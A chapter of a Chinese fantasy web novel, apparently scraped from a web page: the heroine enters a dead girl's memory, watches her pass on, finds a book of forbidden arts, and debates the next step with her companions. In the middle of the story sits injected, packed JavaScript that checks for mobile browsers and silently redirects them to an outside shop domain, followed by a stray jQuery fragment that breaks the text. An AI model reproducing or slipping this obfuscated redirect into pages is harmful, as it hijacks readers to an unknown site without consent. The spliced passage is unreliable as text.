虞昭昭的指尖触碰到那团残存妖气的瞬间,眼前的一切扭曲、折叠、然后猛地展开。
她站在一条完全陌生的街上。
阳光很好,晒在身上暖洋洋的。
街边的梧桐树叶子绿得发亮,风一吹,哗啦啦地响。
虞昭昭低头看了看自己,手是半透明的,能看见身后的青石板路。
哦,神识进来了。
行吧,又不是第一次了。
她抬头,目光穿过街上的行人,落在一个翠绿色的身影上。
那是个十七八岁的少女,一袭翠绿衣裙,发间簪着一支白玉兰花簪,笑得明媚又张扬。
她正站在一个卖糖葫芦的摊位前,和摊主讨价还价,眉眼弯弯的。
苏绣。
不,不是苏绣。
有人喊她苏婉宁。
虞昭昭看着她,看着她脸上那种毫无阴霾的天真笑容,心里像是被人轻轻捏了一下。
她垂下眼,想收回视线,转身去看看这条街的其他地方。
记忆里还有很多角落没被点亮,她需要去找点线索。
“姑娘。”
虞昭昭动作一顿。
那个声音很轻,很柔,像春天里落在花瓣上的第一滴雨。
她抬起头。
苏婉宁正看着她。
目光穿过街上熙熙攘攘的行人,穿过阳光和树影,稳稳地落在虞昭昭脸上。
按理来说,在记忆中,苏婉宁应该看不见她。
可现在,她不仅看见了,还在对她笑。
“姑娘,你为什么要用那种眼神看着我呢?”
虞昭昭心头一愣。
她垂眸笑了笑,再抬起头时,眼睛里的情绪收了大半,露出一种坦然。
“是哪种眼神?”她问。
苏婉宁低头沉思了片刻。
阳光落在她侧脸上,将她细碎的绒毛照成一层浅金色的光晕。
她想了很久,久到虞昭昭以为她不会回答了。
然后,她伸出手,轻轻牵起虞昭昭的手。
虞昭昭低头,她半透明的手,被苏婉宁实实在在的手指握住了。
温热的,柔软的,带着薄薄的茧。
苏婉宁将她的手贴在自己脸上,闭上眼,像是在感受什么。
“虞姑娘,你的身上有一种神性。”
虞昭昭:“???”
她下意识想抽回手,但苏婉宁握得很紧。
“可悲悯这世间,真的会有好结果吗?”
苏婉宁睁开眼,那双眼睛里没有怨恨,没有不甘,反而更像是秋天的湖水,水面没有波澜,底下的东西却很深。
虞昭昭张了张嘴,想说“我不是神”“我连自己都悲悯不过来”,但她看着苏婉宁的眼睛,什么都没说出来。
因为她好像不止一次被人称作为神。
所以她是神吗?她无法回答。
自从穿越后,一切都在向着她想不到的地方发展。
苏婉宁将她的手轻轻放下来,退后一步。
她身后的空间开始发生变化。
街道、行人、阳光、梧桐树,像水墨画遇了水,色彩一层一层晕开、淡去、消散,最后只剩下一片无边无际的纯白。
纯白的尽头,出现了一扇门。
很普通的门,木头的,门板上没有任何雕花装饰,就是几块木板拼在一起,边缘有些毛糙。
但它发着光,柔和的白光,像冬天的第一场雪落在窗户上,把人从睡梦中温柔地晃醒。
苏婉宁看了看那扇门,又回过头来看虞昭昭。
她笑了。
“谢谢你,虞姑娘。”
她退后一步,退进了那扇门的光里。
“愿意让我往生。”
虞昭昭心里一紧。
她想起还有事情没问。
她想知道全部,想知道到底发生了什么。
“苏——”她开口。
苏婉宁摇了摇头。
“答案,要你自己去寻。”
最后一个字落下,门合上了。
光收拢。纯白的空间开始从边缘处碎裂,一块一块往下掉,露出底下黑沉沉的虚空。
虞昭昭还想再问,但已经来不及了。
她感觉自己被什么东西猛地往后一推,整个人像被人从悬崖上踹了下去,失重感铺天盖地地涌上来。
然后,她站在了树林里。
脚下是枯叶,头顶是漏下月光的树冠,身边是沈念初,面前是那滩已经彻底干涸的黑水。
虞昭昭眨了眨眼,又眨了眨眼。
大脑还在加载。
“昭昭?你刚才怎么了?发了好一会儿呆。”
沈念初凑过来,脸上写满担忧。
虞昭昭张了张嘴,想说“我没事”,但发现自己脑子里的信息还没整理好。
神性?往生?答案要自己寻?
她揉了揉太阳穴,决定先把这些乱七八糟的念头打包塞进脑子角落,等回去了再慢慢拆。
“走吧,回去吧。”
她叹了口气,拉着沈念初的袖子往回走。
顺便在心里骂了一句。
这些NPC,一个两个都喜欢打哑谜,话不说清楚,答案要自己寻,寻你个头啊寻。
走了两步。
脚下被什么东西绊了一下。
虞昭昭低头,看见枯叶堆里露出一个角。
深蓝色的,布料质地很厚,像是某本书的封皮边缘。
她弯腰捡起来,拂去上面黏糊糊的腐叶和泥土,露出封面上的两个字。
禁术。
字是用朱砂写的,褪色很严重,有些笔画已经看不清了。
虞昭昭盯着那两个字,沉默了片刻。
然后把书揣进了怀里。
“走吧。”她对沈念初说。
沈念初看了看她怀里的书,又看了看她的脸,只好点点头。
两人并肩走出了树林。
月光重新洒下来的时候,虞昭昭回头看了一眼身后那片黑暗。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626765|202527||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
风穿过树梢,发出呜呜的声音。
……
虞昭昭将那本《禁术》往桌上一放,封面上那两个褪色的朱砂字在烛光下显得格外扎眼。
众人围坐在桌前,烛火将每个人的影子拉得忽长忽短。
虞昭昭把从进树林开始到被一脚踢出记忆的经过,一五一十地讲了一遍。
讲到苏婉宁牵她的手,说她身上有神性的时候,沈念初的水杯差点没端住。
“神性?”
沈念初上下打量了虞昭昭一番。
“你?”
虞昭昭很无奈的摊开双手。
“我也觉得很离谱。”
江映雪将茶壶轻轻放回桌上,瓷器与木桌碰撞发出细微的声响,在安静的厅堂里显得格外清晰。
“所以昭昭是把那妖物净化了?”
虞昭昭点点头:“嗯。”
“那她的记忆呢?”
苏锦书开口,扇子搁在桌上没动,手指搭在扇骨上,有一下没一下地轻轻叩击。
“你说你进入了她的记忆,可曾看到什么?”
虞昭昭摇头。
“看到了,但看到的不多。她只给我看了一小段,像是在挑着给我看。”
孟安时皱着眉,脸上浮现出一丝凝重。
“无法探查?”
“嗯嗯。”虞昭昭点头如捣蒜。
“她说什么答案要我自己去寻,然后就走了,走得可干脆了。”
江映雪沉吟片刻。
“从青州到现在,一切都太诡异了。我们一直在被推着走。有人求助,我们便去;有妖现身,我们便除。可这些事的背后……”
她没有说下去,但所有人都知道她没说出口的那半句是什么。
赌妖坊的那只妖还没有抓到。
它藏在暗处,像一根卡在喉咙里的鱼刺,吞不下去,也咳不出来。
你能感觉到它在那里,但就是找不到它的位置。
一直沉默的季珩开口了。
“我们应当回宗门一趟。”
苏锦书听到这话抬眼看了他一眼,没有说话。
虞昭昭此时只觉得气氛很微妙。
或者说这种微妙感从进大厅开始就没消散过。
“季珩。”
苏锦书终于开口了,语气淡淡的,脸上的笑意也淡了些。
“现在最重要的事情应当是寻找线索,你却提议回宗门。”
他顿了顿。
“你在害怕什么?”
空气瞬间安静了下来。
烛芯燃烧时发出的细微噼啪声此刻格外清楚。
虞昭昭下意识看向季珩。
他坐在那里,表情没什么变化。
烛火在他眼底跳动,将那双桃花眼映出忽明忽暗的光。
他没有立刻接话,也没有移开视线,就那样迎着苏锦书的目光。
“我没什么可怕的。”季珩说。
苏锦书突然笑了。
“希望如此,季师弟。”